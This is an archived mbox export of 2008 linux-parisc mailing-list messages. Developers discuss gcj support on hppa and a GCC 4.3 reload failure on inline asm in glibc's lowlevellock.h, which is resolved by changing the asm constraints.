X-Trace: ger.gmane.org 1206223400 17205 80.91.229.12 (22 Mar 2008 22:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Mar 2008 22:03:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, "Aurelien Jarno" <aurel32@debian.org>,
	debian-release@lists.debian.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 22 23:03:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JdBoZ-0001CH-Nu
	for glpp-linux-parisc@gmane.org; Sat, 22 Mar 2008 23:03:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755046AbYCVWDK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Mar 2008 18:03:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755098AbYCVWDK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Mar 2008 18:03:10 -0400
Original-Received: from mail.cs.tu-berlin.de ([130.149.17.13]:34168 "EHLO
	mail.cs.tu-berlin.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755046AbYCVWDJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Mar 2008 18:03:09 -0400
X-Greylist: delayed 424 seconds by postgrey-1.27 at vger.kernel.org; Sat, 22 Mar 2008 18:03:09 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost-12225.cs.tu-berlin.de (Postfix) with ESMTP id 770AD51F
	for <linux-parisc@vger.kernel.org>; Sat, 22 Mar 2008 22:56:04 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new, port 12224)
	with ESMTP id Bv+TUjH+nIRd 25367-05;
	Sat, 22 Mar 2008 22:56:03 +0100 (MET) 13582
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Sat, 22 Mar 2008 22:56:03 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.8+Sun/8.13.3/Submit) id m2MLu2s1022621;
	Sat, 22 Mar 2008 22:56:02 +0100 (MET)
In-Reply-To: <119aab440803221450v1387e168l8423d74237057fa3@mail.gmail.com>
X-Mailer: VM 7.17 under 21.4 (patch 21) "Educational Television" XEmacs Lucid
X-Virus-Scanned: amavisd-new at cs.tu-berlin.de (including SpamAssassin)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:232 gmane.linux.debian.ports.hppa:5151 gmane.linux.debian.devel.gcc:27538 gmane.linux.debian.devel.release:19805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/232>

Carlos O'Donell writes:
> On Sat, Mar 22, 2008 at 5:10 PM, Matthias Klose <doko@cs.tu-berlin.de> wrote:
> > Carlos O'Donell writes:
> >  > >   - gij/gcj shows bus errors on hppa (either 4.2 or 4.3).
> >  >
> >  > Has gij/gcj ever worked on hppa-linux?
> >
> >  at least the gij/gcj before adding support for generics (1.5) did
> >  work.  Now that a working runtime is required for the compiler makes
> >  things different. Please try to run a random HelloWorld program using
> >  the interpreter.
> 
> I'm not at all interested in gij/gcj. Why do we require that all
> languages be functional for a gcc release? This is a difficult goal to
> meet.

I'll let the release team answer this question. IMO we should require
a port to support some kind of java runtime.  Is there any chance to
get the IcedTea Zero port working for hppa, or get the hpux java
support be ported to OpenJDK?

> As the hppa-linux libc-ports maintainer I *am* interested in seeing
> the list of regressions you have and commenting on them.

Please wait for the feedback from Aurelian.

> Also note that the hppa-linux list is "linux-parisc@vger.kernel.org"

thanks for the hint.

  Matthias
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Can't find a register in R1_REGS while reloading asm.
Date: Mon, 24 Mar 2008 08:28:48 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206361752 20808 80.91.229.12 (24 Mar 2008 12:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Mar 2008 12:29:12 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	"John David Anglin" <dave.anglin@nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 24 13:29:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jdlnr-0007qN-L7
	for glpp-linux-parisc@gmane.org; Mon, 24 Mar 2008 13:29:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752951AbYCXM2u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Mar 2008 08:28:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755591AbYCXM2u
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Mar 2008 08:28:50 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.187]:32690 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752951AbYCXM2t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Mar 2008 08:28:49 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1454159rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 24 Mar 2008 05:28:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        bh=p4gPkqypb8yrbdM8NHjTsVZSVR4I86fnKJR9HfBWqjw=;
        b=T9iHOuTZyXuKGqpcOUqBHqgeH/bhCjtze00RsEMFoy5y0bSVuLfFD/44zsLOTUgBvOQvHYYTkuvYAUUcaFN8j/8r0DrEbNcMwc+oa43UO1SD0FRPkp9EJxT4VE6QPJ9g4Rs5GntWynl6MWm3uDftjr3v4Z/yVoWhChbSDHdCXWI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        b=cRGYiD6FPbhxfDSjjRh2zLoFirCjVI65npaRdSvMVY96pzEg+KkXACPBzLLcUxxa9y2CsPwgYnB5ZK0Wxq9zboC8Q7W7spoxypTDFrBu/PjdX35el+YGtYJPN/NmSwaZAjbyQpuhayYIRugBtuECWAou5WjiWYb26Eal69tK2fI=
Original-Received: by 10.141.210.21 with SMTP id m21mr2072413rvq.33.1206361728980;
        Mon, 24 Mar 2008 05:28:48 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Mon, 24 Mar 2008 05:28:48 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 24d040090c5c7679
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/233>

Dave,

I've switched over to gcc-4_3-branch to do some hppa-linux libc
testing. While the gcc testsuite looks OK, modulo the builtin-math
failures (and a completely failed libgomp testsuite, likely an
environment setup issue), I can no longer build glibc.

When compiling the first function which uses the atomic.h macro, I get
the following failure in reload:
~~~
../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
can't find a register in class 'R1_REGS' while reloading 'asm
'
dcigettext.c:1106: error: can't find a register in class 'R1_REGS'
while reloading 'asm'
dcigettext.c:1168: error: can't find a register in class 'R1_REGS'
while reloading 'asm'
dcigettext.c:1198: error: can't find a register in class 'R1_REGS'
while reloading 'asm'
../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
'asm' operand has impossible constraints
~~~

This is gcc/reload1.c (spill_failure) failing to find a spill for some
rtx that *needs* R1_REGS. AFAIK there is a small class of instructions
that use R1_REGS implicitly, I assume one of those is needing r1 and
can't get a use for it.

If reload was naive it could just spill/restore everything, but I
think it's trying too hard and failing.

Do you have any hints for debugging this? Will I have to turn this
macro into a function to avoid this sort of issue? I hate to take the
function call penalty.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can't find a register in R1_REGS while reloading asm.
Date: Mon, 24 Mar 2008 09:03:31 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <119aab440803240603h1d465daamafa380767f171f4d@mail.gmail.com>
References: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206363845 28775 80.91.229.12 (24 Mar 2008 13:04:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Mar 2008 13:04:05 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	"John David Anglin" <dave.anglin@nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 24 14:04:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JdmLR-0003Bc-Ps
	for glpp-linux-parisc@gmane.org; Mon, 24 Mar 2008 14:04:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756400AbYCXNDc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Mar 2008 09:03:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757068AbYCXNDc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Mar 2008 09:03:32 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.185]:27188 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756400AbYCXNDb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Mar 2008 09:03:31 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1461178rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 24 Mar 2008 06:03:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=yGHqvQdr1iHHqy090Ef50vrZuSkH1P9+ZMWAqxBQdNs=;
        b=OwsqWBg17RWPqL9jxdu/Qln2721k7q6p94k9Gz73b87sAeBoSK2GxF25KteJwXqVLfSVXBn4U7L2j7u1HXKZoAP05oV4qt5+oWmIO/4cIiJ6F2tkqGfMrg8zn3rHot4cyCZBjo02U7AyENAjiAqpTEugepbFm8fJa4QoIpKRVSg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=evPNRfwTbmKFQu67hgdVh3Z3cOgRPmQA/jLlNhb4AzwOpETvcArXptQ250QJy14ZodGhoD+iw92Z+HjAYxzeqxsz2ihXC/JWh6anJqZp1mMOMzbWfL38GEcJbKBeNx3+iX74CoEVpXoVGXusonz62BCYzLC+he0+1dBtbJy2EVQ=
Original-Received: by 10.141.171.6 with SMTP id y6mr2100014rvo.143.1206363811069;
        Mon, 24 Mar 2008 06:03:31 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Mon, 24 Mar 2008 06:03:31 -0700 (PDT)
In-Reply-To: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 867468a2e79f17b9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/234>

On Mon, Mar 24, 2008 at 8:28 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Dave,
>
>  I've switched over to gcc-4_3-branch to do some hppa-linux libc
>  testing. While the gcc testsuite looks OK, modulo the builtin-math
>  failures (and a completely failed libgomp testsuite, likely an
>  environment setup issue), I can no longer build glibc.
>
>  When compiling the first function which uses the atomic.h macro, I get
>  the following failure in reload:
>  ~~~
>  ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
>  can't find a register in class 'R1_REGS' while reloading 'asm
>  '
>  dcigettext.c:1106: error: can't find a register in class 'R1_REGS'
>  while reloading 'asm'
>  dcigettext.c:1168: error: can't find a register in class 'R1_REGS'
>  while reloading 'asm'
>  dcigettext.c:1198: error: can't find a register in class 'R1_REGS'
>  while reloading 'asm'
>  ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
>  'asm' operand has impossible constraints
>  ~~~

I looked up how constrain_operands() works, and I realized that the
correct solution is probably this:

1) Remove "memory" from clobber.
2) Change the output constraint "=m" (*mem) to "+m" (*mem) to express
that the memory may be written to by the CAS operation.

This is a tighter constraint than before, but it is no longer
ambiguous. Previously we said we clobbered memory, but yet specified
some as read-only.

I was also worried about "*mem" as an output, and "mem" as a register
input. You need to treat these mem/pointer pairs with care.

This change to asm seems to have fixed the build failure. Yay.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can't find a register in R1_REGS while reloading asm.
Date: Mon, 24 Mar 2008 13:04:02 -0400 (EDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <20080324170403.630904EB5@hiauly1.hia.nrc.ca>
References: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206378264 17187 80.91.229.12 (24 Mar 2008 17:04:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Mar 2008 17:04:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 24 18:04:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jdq6F-00035e-LF
	for glpp-linux-parisc@gmane.org; Mon, 24 Mar 2008 18:04:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754560AbYCXREG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Mar 2008 13:04:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754687AbYCXREG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Mar 2008 13:04:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4289 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754560AbYCXREF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Mar 2008 13:04:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 630904EB5; Mon, 24 Mar 2008 13:04:03 -0400 (EDT)
In-Reply-To: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com> from "Carlos O'Donell" at Mar 24, 2008 08:28:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/235>

> I've switched over to gcc-4_3-branch to do some hppa-linux libc
> testing. While the gcc testsuite looks OK, modulo the builtin-math
> failures (and a completely failed libgomp testsuite, likely an
> environment setup issue), I can no longer build glibc.
> 
> When compiling the first function which uses the atomic.h macro, I get
> the following failure in reload:
> ~~~
> ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
> can't find a register in class 'R1_REGS' while reloading 'asm
> '
> dcigettext.c:1106: error: can't find a register in class 'R1_REGS'
> while reloading 'asm'
> dcigettext.c:1168: error: can't find a register in class 'R1_REGS'
> while reloading 'asm'
> dcigettext.c:1198: error: can't find a register in class 'R1_REGS'
> while reloading 'asm'
> ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h:220: error:
> 'asm' operand has impossible constraints
> ~~~
> 
> This is gcc/reload1.c (spill_failure) failing to find a spill for some
> rtx that *needs* R1_REGS. AFAIK there is a small class of instructions
> that use R1_REGS implicitly, I assume one of those is needing r1 and
> can't get a use for it.
> 
> If reload was naive it could just spill/restore everything, but I
> think it's trying too hard and failing.
> 
> Do you have any hints for debugging this? Will I have to turn this
> macro into a function to avoid this sort of issue? I hate to take the
> function call penalty.

This is GCC PR 35193.  This is really a gcse/reload issue.  At the
moment, I don't have a fix.

The fundamental issue is there's only one r1 register and its
needed for memory loads and stores.  The PA backend has always used
separate rtl for the addil insn.  This makes it possible for gcse
to eliminate duplicated addil insns.  However, it can't do this
if the two addil insns are separated by a call or an asm which uses
r1 (well it could if reload didn't pick r1 for the addil).

We never see this problem for calls.  The asm in this case is effectively
a call but it lacks some of the attribute of a call insn.

Reload gets in trouble when it picks r1.  If it had picked some
other register (ie., one that isn't clobbered by the asm), the ICE
wouldn't have occurred.  Older GCC versions do this but I was unable
to find any specific change that introduced the failure.  It seems
the problem was latent.

r1 is essentially last in the register allocation order.  This was
clearly done to prevent this situation.

Possibly, something could be done with costs.  This probably could be
fixed in the backend, but it would require some nasty post reload
splits.  However, I think the approach would be detrimental to overall
code.  So, I think it would be better to adjust gcse or reload.

Turning the macro into a function call would help, but this is a GCC
bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can't find a register in R1_REGS while reloading asm.
Date: Mon, 24 Mar 2008 13:06:00 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20080324170601.2F7F64EB5@hiauly1.hia.nrc.ca>
References: <119aab440803240603h1d465daamafa380767f171f4d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206378400 17663 80.91.229.12 (24 Mar 2008 17:06:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Mar 2008 17:06:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 24 18:07:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jdq8W-0003sW-Ky
	for glpp-linux-parisc@gmane.org; Mon, 24 Mar 2008 18:07:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759159AbYCXRGE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Mar 2008 13:06:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760247AbYCXRGE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Mar 2008 13:06:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4293 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759159AbYCXRGD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Mar 2008 13:06:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2F7F64EB5; Mon, 24 Mar 2008 13:06:00 -0400 (EDT)
In-Reply-To: <119aab440803240603h1d465daamafa380767f171f4d@mail.gmail.com> from "Carlos O'Donell" at Mar 24, 2008 09:03:31 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/236>

> This change to asm seems to have fixed the build failure. Yay.

Excellent!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can't find a register in R1_REGS while reloading asm.
Date: Mon, 24 Mar 2008 19:55:58 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440803241655t37b8e74dmaa701c1a5b122c8f@mail.gmail.com>
References: <119aab440803240528n45bdd86ag193f50175d3d0c85@mail.gmail.com>
	 <20080324170403.630904EB5@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206402982 20273 80.91.229.12 (24 Mar 2008 23:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Mar 2008 23:56:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 25 00:56:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JdwWz-0004wi-Ms
	for glpp-linux-parisc@gmane.org; Tue, 25 Mar 2008 00:56:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756042AbYCXX4F (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Mar 2008 19:56:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756034AbYCXX4E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Mar 2008 19:56:04 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.229]:43862 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755729AbYCXX4A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Mar 2008 19:56:00 -0400
Original-Received: by wr-out-0506.google.com with SMTP id c48so1977165wra.1
        for <linux-parisc@vger.kernel.org>; Mon, 24 Mar 2008 16:55:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=8uYApIfC/gtYX/TG2z18QvAq4j60RZGymjGU7sN5Hrs=;
        b=e6lt41sZmKbZv8ahyPtoKufW97GYufZz7lvW7/qk10gxNy92jedoddNgdX54MtY7MTsiaqzoqIpkR9LWI4rkLhVmmZ3l0KneeFQn+rXhVlHRb949BTrTTo1AelmlSlbCM8UGOdN3ZyXZ1nxNQtwqg0O8qnRGMwKAqmnpXXidpCE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=uJw0RKc6d2TLcWyhBPYtkIAvB/st+tIgTP9EpbNeJu8MtR8QjZ+Lj0GLKnCZP73sx1v9Xv0zww66ZRiOWeQVek+idbCic8Dh4IulBA+3/XZ9s61D6jlwEcPPTxFVrVIzYozjki+daiZB6QgstEmH5+IRTtOawwLd1eYACG8Ug/E=
Original-Received: by 10.140.127.13 with SMTP id z13mr2725013rvc.208.1206402958644;
        Mon, 24 Mar 2008 16:55:58 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Mon, 24 Mar 2008 16:55:58 -0700 (PDT)
In-Reply-To: <20080324170403.630904EB5@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 3d78041a58941151
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/237>

On Mon, Mar 24, 2008 at 1:04 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>  The fundamental issue is there's only one r1 register and its
>  needed for memory loads and stores.  The PA backend has always used
>  separate rtl for the addil insn.  This makes it possible for gcse
>  to eliminate duplicated addil insns.  However, it can't do this
>  if the two addil insns are separated by a call or an asm which uses
>  r1 (well it could if reload didn't pick r1 for the addil).

It is certainly a difficult problem, and the only thing that appears
to trigger this is a function with a lot of register pressure,
followed by an asm with a *lot* of clobbers, and a fair number of
input/output operands.

It's hard to justify fixing this if only a couple of corner cases
trigger the bug, and even then it's a "fail-safe" situation.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
